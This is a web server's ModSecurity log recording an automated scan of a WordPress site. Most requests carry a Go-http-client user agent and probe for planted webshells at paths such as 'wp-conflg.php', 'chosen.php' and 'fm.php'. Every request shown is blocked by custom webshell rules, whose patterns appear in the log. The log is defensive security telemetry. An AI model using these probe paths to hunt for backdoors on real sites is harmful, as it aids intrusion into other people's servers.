[Fri Jan 09 20:20:55.000620 2026] [:error] [pid 30020:tid 30078] [client 85.203.21.221:47851] [client 85.203.21.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/js/imgareaselect/"] [unique_id "aWDypsrjc66qOisG6L3YfgAAAJg"]
[Fri Jan 09 20:20:55.348685 2026] [:error] [pid 14801:tid 14807] [client 85.203.21.167:36059] [client 85.203.21.167] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/wpforms/"] [unique_id "aWDyp98UWXrz_OQYgF1jiQAAAkQ"]
[Fri Jan 09 20:20:55.702759 2026] [:error] [pid 14831:tid 14835] [client 85.203.21.183:56389] [client 85.203.21.183] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/twenty/function.php"] [unique_id "aWDyp_aKOMCmJcAyBm042gAAAoI"]
[Fri Jan 09 20:20:56.057206 2026] [:error] [pid 44848:tid 44853] [client 85.203.21.162:34827] [client 85.203.21.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aWDyqKjajoTJAbEk87zJhgAAAEM"]
[Fri Jan 09 20:20:56.413063 2026] [:error] [pid 14739:tid 14760] [client 85.203.21.170:36869] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/cache/et/"] [unique_id "aWDyqF63M6_PkLt_IJJohwAAAdM"]
[Fri Jan 09 20:20:56.763397 2026] [:error] [pid 14831:tid 14853] [client 85.203.21.161:60991] [client 85.203.21.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwenty/assets/fonts/inter/"] [unique_id "aWDyqPaKOMCmJcAyBm042wAAApQ"]
[Fri Jan 09 20:20:57.114756 2026] [:error] [pid 14801:tid 14813] [client 85.203.21.157:47079] [client 85.203.21.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/wp-conflg.php"] [unique_id "aWDyqd8UWXrz_OQYgF1jigAAAko"]
[Fri Jan 09 20:20:57.471511 2026] [:error] [pid 30019:tid 30045] [client 193.37.32.3:41455] [client 193.37.32.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aWDyqUz3igHGwX5f7Irn2QAAABU"]
[Fri Jan 09 20:20:57.828975 2026] [:error] [pid 44848:tid 44859] [client 85.203.21.217:22399] [client 85.203.21.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/chosen.php"] [unique_id "aWDyqajajoTJAbEk87zJiAAAAEk"]
[Fri Jan 09 20:20:58.178619 2026] [:error] [pid 1366:tid 1378] [client 85.203.21.237:27163] [client 85.203.21.237] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-comments-form/"] [unique_id "aWDyqhmasveKu8_ec1VqfAAAAYk"]
[Fri Jan 09 20:20:58.542447 2026] [:error] [pid 1366:tid 1377] [client 85.203.21.156:38999] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/z.php"] [unique_id "aWDyqhmasveKu8_ec1VqfQAAAYg"]
[Fri Jan 09 20:20:58.896801 2026] [:error] [pid 1366:tid 1380] [client 85.203.21.186:23491] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aWDyqhmasveKu8_ec1VqfgAAAYs"]
[Fri Jan 09 20:20:59.250339 2026] [:error] [pid 1366:tid 1370] [client 85.203.21.160:47287] [client 85.203.21.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-bindings/chosen.php"] [unique_id "aWDyqxmasveKu8_ec1VqgAAAAYI"]
[Fri Jan 09 20:20:59.602008 2026] [:error] [pid 14831:tid 14854] [client 85.203.21.176:52723] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/"] [unique_id "aWDyq_aKOMCmJcAyBm043QAAApU"]
[Fri Jan 09 20:21:00.016535 2026] [:error] [pid 14739:tid 14749] [client 85.203.21.184:63963] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hello.php"] [unique_id "aWDyrF63M6_PkLt_IJJoigAAAcg"]
[Fri Jan 09 20:21:00.368425 2026] [:error] [pid 14739:tid 14747] [client 193.37.32.3:33707] [client 193.37.32.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/.well-known/"] [unique_id "aWDyrF63M6_PkLt_IJJoiwAAAcY"]
[Fri Jan 09 20:21:00.728800 2026] [:error] [pid 14770:tid 14772] [client 85.203.21.160:46803] [client 85.203.21.160] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/chosen.php"] [unique_id "aWDyrB5QbaVZ-6newJY8HAAAAgA"]
[Fri Jan 09 20:21:01.100675 2026] [:error] [pid 14801:tid 14821] [client 85.203.21.157:43217] [client 85.203.21.157] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/js/mediaelement/"] [unique_id "aWDyrd8UWXrz_OQYgF1jiwAAAlI"]
[Fri Jan 09 20:21:01.448218 2026] [:error] [pid 14801:tid 14819] [client 85.203.21.176:55531] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "aWDyrd8UWXrz_OQYgF1jjAAAAlA"]
[Fri Jan 09 20:21:01.798009 2026] [:error] [pid 14872:tid 14895] [client 85.203.21.237:28953] [client 85.203.21.237] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/m.php"] [unique_id "aWDyraIUELhgYLNp1sY3egAAAtU"]
[Fri Jan 09 20:21:02.152778 2026] [:error] [pid 30021:tid 30096] [client 85.203.21.155:64623] [client 85.203.21.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/img/fm.php"] [unique_id "aWDyrg_M8aRtsTog5J-exQAAAM8"]
[Fri Jan 09 20:21:02.506515 2026] [:error] [pid 30019:tid 30047] [client 85.203.21.197:62225] [client 85.203.21.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/comments-title/"] [unique_id "aWDyrkz3igHGwX5f7Irn2wAAABc"]
[Fri Jan 09 20:21:02.857124 2026] [:error] [pid 30021:tid 30082] [client 85.203.21.193:27325] [client 85.203.21.193] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/"] [unique_id "aWDyrg_M8aRtsTog5J-exgAAAME"]
[Fri Jan 09 20:21:08.214058 2026] [:error] [pid 14801:tid 14806] [client 85.203.21.58:38295] [client 85.203.21.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/images/chosen.php"] [unique_id "aWDytN8UWXrz_OQYgF1jkwAAAkM"]
[Fri Jan 09 20:21:08.563669 2026] [:error] [pid 1366:tid 1389] [client 85.203.21.195:44377] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aWDytBmasveKu8_ec1VqhgAAAZQ"]
[Fri Jan 09 20:21:08.909650 2026] [:error] [pid 30019:tid 30025] [client 85.203.21.193:22815] [client 85.203.21.193] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/chosen.php"] [unique_id "aWDytEz3igHGwX5f7Irn3QAAAAE"]
[Fri Jan 09 20:21:09.263791 2026] [:error] [pid 44848:tid 44853] [client 85.203.21.237:39067] [client 85.203.21.237] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/wp-conflg.php"] [unique_id "aWDytajajoTJAbEk87zJkwAAAEM"]
[Fri Jan 09 20:21:09.612693 2026] [:error] [pid 30020:tid 30077] [client 85.203.21.178:61179] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/wp-conflg.php"] [unique_id "aWDytcrjc66qOisG6L3YhgAAAJc"]
[Fri Jan 09 20:21:09.960834 2026] [:error] [pid 14831:tid 14847] [client 85.203.21.201:52361] [client 85.203.21.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/php-compat/chosen.php"] [unique_id "aWDytfaKOMCmJcAyBm043wAAAo4"]
[Fri Jan 09 20:21:10.307912 2026] [:error] [pid 30021:tid 30099] [client 85.203.21.232:58537] [client 85.203.21.232] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aWDytg_M8aRtsTog5J-ezgAAANI"]
[Fri Jan 09 20:21:10.660647 2026] [:error] [pid 30020:tid 30055] [client 85.203.21.195:64155] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aWDytsrjc66qOisG6L3YiAAAAIE"]
[Fri Jan 09 20:21:11.011027 2026] [:error] [pid 14872:tid 14878] [client 85.203.21.159:31147] [client 85.203.21.159] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfive/patterns/template-singl-portfolio.php"] [unique_id "aWDyt6IUELhgYLNp1sY3fQAAAsQ"]
[Fri Jan 09 20:21:11.362878 2026] [:error] [pid 30020:tid 30078] [client 85.203.21.186:55385] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/images/"] [unique_id "aWDyt8rjc66qOisG6L3YigAAAJg"]
[Fri Jan 09 20:21:11.710391 2026] [:error] [pid 44848:tid 44852] [client 85.203.21.217:50287] [client 85.203.21.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/database.php"] [unique_id "aWDyt6jajoTJAbEk87zJmAAAAEI"]
[Fri Jan 09 20:21:12.060876 2026] [:error] [pid 30021:tid 30097] [client 85.203.21.159:49189] [client 85.203.21.159] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/vudel/list.php"] [unique_id "aWDyuA_M8aRtsTog5J-ezwAAANA"]
[Fri Jan 09 20:21:12.411855 2026] [:error] [pid 30021:tid 30104] [client 85.203.21.183:42169] [client 85.203.21.183] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/filester/assets/css/404.php"] [unique_id "aWDyuA_M8aRtsTog5J-e0AAAANc"]
[Fri Jan 09 20:21:12.760171 2026] [:error] [pid 14831:tid 14856] [client 85.203.21.222:51817] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/hello-elementor/assets/css/lightbox.php"] [unique_id "aWDyuPaKOMCmJcAyBm044wAAApc"]
[Fri Jan 09 20:21:13.114689 2026] [:error] [pid 14831:tid 14853] [client 85.203.21.221:53447] [client 85.203.21.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/advanced-custom-fields/includes/walkers/about.php"] [unique_id "aWDyufaKOMCmJcAyBm045wAAApQ"]
[Fri Jan 09 20:21:13.470616 2026] [:error] [pid 30020:tid 30056] [client 85.203.21.161:60237] [client 85.203.21.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/elementor/includes/controls/about.php"] [unique_id "aWDyucrjc66qOisG6L3YiwAAAII"]
[Fri Jan 09 20:21:13.823362 2026] [:error] [pid 30019:tid 30026] [client 85.203.21.41:50653] [client 85.203.21.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/languages/autoload_classmap.php"] [unique_id "aWDyuUz3igHGwX5f7Irn4gAAAAI"]
[Fri Jan 09 20:21:14.180229 2026] [:error] [pid 44848:tid 44866] [client 85.203.21.168:46909] [client 85.203.21.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/well-known/acme-challenge/c/e/about.php"] [unique_id "aWDyuqjajoTJAbEk87zJmwAAAFA"]
[Fri Jan 09 20:21:14.537655 2026] [:error] [pid 30019:tid 30036] [client 85.203.21.222:35725] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-supports/chosen.php"] [unique_id "aWDyukz3igHGwX5f7Irn4wAAAAw"]
[Fri Jan 09 20:21:14.888935 2026] [:error] [pid 14831:tid 14845] [client 85.203.21.176:36075] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/vendor/about.php"] [unique_id "aWDyuvaKOMCmJcAyBm046QAAAow"]
[Fri Jan 09 20:21:15.256414 2026] [:error] [pid 44848:tid 44854] [client 85.203.21.57:28135] [client 85.203.21.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aWDyu6jajoTJAbEk87zJnAAAAEQ"]
[Fri Jan 09 20:21:15.605584 2026] [:error] [pid 44848:tid 44867] [client 85.203.21.222:59859] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/library/SimplePie/Content/Type/222.php"] [unique_id "aWDyu6jajoTJAbEk87zJnQAAAFE"]
[Fri Jan 09 20:21:15.961025 2026] [:error] [pid 30019:tid 30032] [client 85.203.21.217:46681] [client 85.203.21.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/man.php"] [unique_id "aWDyu0z3igHGwX5f7Irn5gAAAAg"]
[Fri Jan 09 20:21:16.307105 2026] [:error] [pid 30019:tid 30028] [client 85.203.21.193:34629] [client 85.203.21.193] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/zoom1.php"] [unique_id "aWDyvEz3igHGwX5f7Irn6QAAAAQ"]
[Fri Jan 09 20:21:16.652390 2026] [:error] [pid 30021:tid 30085] [client 85.203.21.162:57633] [client 85.203.21.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/astra/inc/compatibility/lifterlms/customizer/sections/"] [unique_id "aWDyvA_M8aRtsTog5J-e1AAAAMQ"]
[Fri Jan 09 20:21:17.003835 2026] [:error] [pid 14831:tid 14844] [client 85.203.21.232:61009] [client 85.203.21.232] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/astra/inc/customizer/custom-controls/assets/js/unminified/"] [unique_id "aWDyvfaKOMCmJcAyBm047gAAAos"]
[Fri Jan 09 20:21:17.359587 2026] [:error] [pid 30019:tid 30034] [client 193.37.32.2:45533] [client 193.37.32.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/astra/inc/customizer/custom-controls/assets/css/minified/"] [unique_id "aWDyvUz3igHGwX5f7Irn6wAAAAo"]
[Fri Jan 09 20:21:17.714375 2026] [:error] [pid 44848:tid 44862] [client 85.203.21.157:54549] [client 85.203.21.157] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/astra/assets/js/"] [unique_id "aWDyvajajoTJAbEk87zJoAAAAEw"]
[Fri Jan 09 20:21:18.064956 2026] [:error] [pid 14831:tid 14853] [client 85.203.21.226:43835] [client 85.203.21.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/astra-addon/"] [unique_id "aWDyvvaKOMCmJcAyBm047wAAApQ"]
[Fri Jan 09 20:21:18.420472 2026] [:error] [pid 14739:tid 14758] [client 85.203.21.207:39847] [client 85.203.21.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/wp-mails.php"] [unique_id "aWDyvl63M6_PkLt_IJJojwAAAdE"]
